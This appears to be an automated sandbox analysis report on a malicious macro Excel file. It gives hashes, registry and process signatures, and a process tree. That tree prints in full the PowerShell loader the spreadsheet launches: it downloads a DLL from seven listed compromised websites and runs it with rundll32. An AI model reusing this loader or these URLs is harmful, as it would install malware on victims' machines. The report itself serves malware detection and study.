Analysis
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max time kernel
27s -
max time network
30s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
25-11-2021 16:47
Static task
static1
Behavioral task
behavioral1
Sample
pload/865663204559_17_Nov_2021.xlsm
Resource
win10-en-20211104
General
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Target
pload/865663204559_17_Nov_2021.xlsm
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Size
44KB
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MD5
477fd718bb764ffe3c5afde16c6c8dd2
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SHA1
eb932e19d95f88d64270d40cdc0b92c6d1cf63be
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SHA256
ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3
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SHA512
f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267
Malware Config
Extracted
https://evgeniys.ru/sap-logs/D6/
http://crownadvertising.ca/wp-includes/OxiAACCoic/
https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
http://immoinvest.com.br/blog_old/wp-admin/luoT/
https://yoho.love/wp-content/e4laFBDXIvYT6O/
https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
https://www.pasionportufuturo.pe/wp-content/XUBS/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1164 3568 cmd.exe EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3568 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE 3568 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 3568 wrote to memory of 1164 3568 EXCEL.EXE cmd.exe PID 3568 wrote to memory of 1164 3568 EXCEL.EXE cmd.exe PID 1164 wrote to memory of 2004 1164 cmd.exe powershell.exe PID 1164 wrote to memory of 2004 1164 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\pload\865663204559_17_Nov_2021.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1164-276-0x0000000000000000-mapping.dmp
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memory/2004-281-0x0000000000000000-mapping.dmp
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memory/3568-118-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmpFilesize
64KB
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memory/3568-119-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmpFilesize
64KB
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memory/3568-120-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmpFilesize
64KB
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memory/3568-121-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmpFilesize
64KB
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memory/3568-123-0x000002518E870000-0x000002518E872000-memory.dmpFilesize
8KB
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memory/3568-122-0x000002518E870000-0x000002518E872000-memory.dmpFilesize
8KB
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memory/3568-124-0x000002518E870000-0x000002518E872000-memory.dmpFilesize
8KB
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memory/3568-130-0x00007FFAFE220000-0x00007FFAFE230000-memory.dmpFilesize
64KB
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memory/3568-131-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmpFilesize
64KB
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memory/3568-132-0x00007FFAFE220000-0x00007FFAFE230000-memory.dmpFilesize
64KB